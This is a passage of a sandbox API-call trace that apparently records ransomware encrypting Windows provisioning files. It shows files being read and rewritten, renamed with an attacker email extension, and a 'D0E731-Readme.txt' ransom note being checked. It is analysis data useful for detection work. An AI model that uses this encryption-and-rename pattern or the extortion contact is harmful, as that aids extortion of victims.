out: Seed=0x2e73f80c) returned 0x76c4584d [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0xd83ce528 [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0xac72d60e [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0x1bcb55af [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0x477c8e0e [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0xd0b42ab0 [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0x2a63015 [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0x4d4c97e5 [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0xc03e303d [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0x5125889f [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0xe1459572 [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0x8c08b5d2 [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0x3b7cc81e [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0xfe000fa7 [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0x3b1cea23 [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0x60c62f59 [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0xe6b6e823 [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0xc00f75ee [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0xee2f069a [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0xdf115a85 [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0x6d12dddf [0086.898] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0x212581bd [0086.899] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0x5f2d72dd [0086.899] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0x1f533eaf [0086.899] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0x22e49c96 [0086.899] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0x4bac493e [0086.899] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0xa1abe8a [0086.899] RtlRandom (in: Seed=0x2e73f80c | out: Seed=0x2e73f80c) returned 0x972b89a [0086.909] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x346, lpNumberOfBytesRead=0x2e73f800, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e73f800*=0x346, lpOverlapped=0x0) returned 1 [0086.910] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e73f7c8 | out: lpNewFilePointer=0x0) returned 1 [0086.910] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x346, lpNumberOfBytesWritten=0x2e73f7fc, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e73f7fc*=0x346, lpOverlapped=0x0) returned 1 [0086.910] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55de0c8 [0086.910] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddf60 [0086.910] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf60) returned 1 [0086.910] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de0c8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e73f7f8, lpOverlapped=0x0 | out: lpBuffer=0x55de0c8*, lpNumberOfBytesWritten=0x2e73f7f8*=0x20, lpOverlapped=0x0) returned 1 [0086.910] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de0c8) returned 1 [0086.910] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.910] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.910] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.910] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.910] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de0a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e73f824, lpOverlapped=0x0 | out: lpBuffer=0x55de0a0*, lpNumberOfBytesWritten=0x2e73f824*=0x8, lpOverlapped=0x0) returned 1 [0086.910] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e73f83c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e73f824, lpOverlapped=0x0 | out: lpBuffer=0x2e73f83c*, lpNumberOfBytesWritten=0x2e73f824*=0x4, lpOverlapped=0x0) returned 1 [0086.910] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e73f824, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e73f824*=0x4, lpOverlapped=0x0) returned 1 [0086.910] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e73f824, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e73f824*=0x6c, lpOverlapped=0x0) returned 1 [0086.911] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddfd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e73f824, lpOverlapped=0x0 | out: lpBuffer=0x55ddfd8*, lpNumberOfBytesWritten=0x2e73f824*=0x20, lpOverlapped=0x0) returned 1 [0086.911] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e73f824, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e73f824*=0x4, lpOverlapped=0x0) returned 1 [0086.911] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddfd8) returned 1 [0086.911] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de078) returned 1 [0086.911] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de0a0) returned 1 [0086.911] CloseHandle (hObject=0x3d0) returned 1 [0086.911] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x182) returned 0x33fc9c8 [0086.911] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml" [0086.911] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.911] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\143__connections_cellular_orange (france)_i4$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\143__connections_cellular_orange (france)_i4$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.912] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.912] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\143__Connections_Cellular_Orange (France)_i4$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.912] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.912] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.912] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.912] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.912] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d240) returned 1 [0086.912] RtlExitUserThread (Status=0x1) Thread: id = 1334 os_tid = 0x137c [0086.913] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\144__connections_cellular_orange (france)_i5$(__mvid)@wap.provxml")) returned 0x20 [0086.914] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.914] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\144__connections_cellular_orange (france)_i5$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.914] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e7bfd90 | out: lpFileSize=0x2e7bfd90*=847) returned 1 [0086.914] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x34b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.914] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e7bfd64, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e7bfd60, lpOverlapped=0x0 | out: lpBuffer=0x2e7bfd64*, lpNumberOfBytesRead=0x2e7bfd60*=0x4, lpOverlapped=0x0) returned 1 [0086.915] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddfb0 [0086.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddfd8 [0086.916] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55de078 [0086.916] NtQuerySystemTime (in: CurrentTime=0x2e7bfd3c | out: CurrentTime=0x2e7bfd3c*=132121176448061156) returned 0x0 [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x80536ab9 [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0xc0256473 [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x55373ff9 [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x55653ae6 [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x713b1df [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x6b0738b7 [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x54c7f330 [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0xf2115bcb [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x78260877 [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x1a5f818b [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x6d0ce9bf [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x74ccb71 [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x71b809cc [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x7f18ed71 [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0xb337d5c4 [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x88694d72 [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0xb1f73d46 [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0xc801208f [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x5bfd1cd4 [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x4c334c0e [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x850737ab [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0xbe86489c [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x4260b9cf [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x73d66ba7 [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0xadfd0e71 [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x467613b7 [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x1e16f712 [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0xf326bdb1 [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x2778228f [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0x657066d [0086.916] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0xccb11d91 [0086.917] RtlRandom (in: Seed=0x2e7bfd48 | out: Seed=0x2e7bfd48) returned 0xa492e144 [0086.927] ReadFile (in: hFile=0x3d0, lpBuffer=0x34b8390, nNumberOfBytesToRead=0x34f, lpNumberOfBytesRead=0x2e7bfd3c, lpOverlapped=0x0 | out: lpBuffer=0x34b8390*, lpNumberOfBytesRead=0x2e7bfd3c*=0x34f, lpOverlapped=0x0) returned 1 [0086.927] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e7bfd04 | out: lpNewFilePointer=0x0) returned 1 [0086.927] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de100*, nNumberOfBytesToWrite=0x34f, lpNumberOfBytesWritten=0x2e7bfd38, lpOverlapped=0x0 | out: lpBuffer=0x55de100*, lpNumberOfBytesWritten=0x2e7bfd38*=0x34f, lpOverlapped=0x0) returned 1 [0086.927] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddf38 [0086.927] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddf88 [0086.927] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf88) returned 1 [0086.927] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddf38*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e7bfd34, lpOverlapped=0x0 | out: lpBuffer=0x55ddf38*, lpNumberOfBytesWritten=0x2e7bfd34*=0x20, lpOverlapped=0x0) returned 1 [0086.927] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddf38) returned 1 [0086.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de100) returned 1 [0086.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34b8390) returned 1 [0086.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34804f8) returned 1 [0086.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fd2c8) returned 1 [0086.928] WriteFile (in: hFile=0x3d0, lpBuffer=0x55de0c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e7bfd60, lpOverlapped=0x0 | out: lpBuffer=0x55de0c8*, lpNumberOfBytesWritten=0x2e7bfd60*=0x8, lpOverlapped=0x0) returned 1 [0086.928] WriteFile (in: hFile=0x3d0, lpBuffer=0x2e7bfd78*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e7bfd60, lpOverlapped=0x0 | out: lpBuffer=0x2e7bfd78*, lpNumberOfBytesWritten=0x2e7bfd60*=0x4, lpOverlapped=0x0) returned 1 [0086.928] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e7bfd60, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x2e7bfd60*=0x4, lpOverlapped=0x0) returned 1 [0086.928] WriteFile (in: hFile=0x3d0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x2e7bfd60, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x2e7bfd60*=0x6c, lpOverlapped=0x0) returned 1 [0086.928] WriteFile (in: hFile=0x3d0, lpBuffer=0x55ddfd8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x2e7bfd60, lpOverlapped=0x0 | out: lpBuffer=0x55ddfd8*, lpNumberOfBytesWritten=0x2e7bfd60*=0x20, lpOverlapped=0x0) returned 1 [0086.928] WriteFile (in: hFile=0x3d0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2e7bfd60, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x2e7bfd60*=0x4, lpOverlapped=0x0) returned 1 [0086.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55ddfd8) returned 1 [0086.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de0a0) returned 1 [0086.928] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55de0c8) returned 1 [0086.928] CloseHandle (hObject=0x3d0) returned 1 [0086.928] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x182) returned 0x33fc9c8 [0086.928] wcscpy (in: _Dest=0x33fc9c8, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml" [0086.928] wcscat (in: _Dest=0x33fc9c8, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" [0086.929] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\144__connections_cellular_orange (france)_i5$(__mvid)@wap.provxml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\144__connections_cellular_orange (france)_i5$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 1 [0086.929] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0086.929] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fc9c8) returned 1 [0086.929] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\144__Connections_Cellular_Orange (France)_i5$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0086.930] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xe2) returned 0x348af68 [0086.930] wcscpy (in: _Dest=0x348af68, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0086.930] wcscat (in: _Dest=0x348af68, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" [0086.930] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\D0E731-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\d0e731-readme.txt")) returned 0x20 [0086.930] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348af68) returned 1 [0086.930] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347d388) returned 1 [0086.930] RtlExitUserThread (Status=0x1) Thread: id = 1335 os_tid = 0x1380 [0086.932] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\145__connections_cellular_orange (france)_i6$(__mvid)@wap.provxml")) returned 0x20 [0086.932] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 1 [0086.933] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\145__Connections_Cellular_Orange (France)_i6$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\145__connections_cellular_orange (france)_i6$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0086.933] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x2e83f8ac | out: lpFileSize=0x2e83f8ac*=842) returned 1 [0086.933] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x346, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.933] ReadFile (in: hFile=0x3d0, lpBuffer=0x2e83f880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e83f87c, lpOverlapped=0x0 | out: lpBuffer=0x2e83f880*, lpNumberOfBytesRead=0x2e83f87c*=0x4, lpOverlapped=0x0) returned 1 [0086.934] SetFilePointerEx (in: hFile=0x3d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.934] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x55ddfb0 [0086.935] RtlAllocateHeap 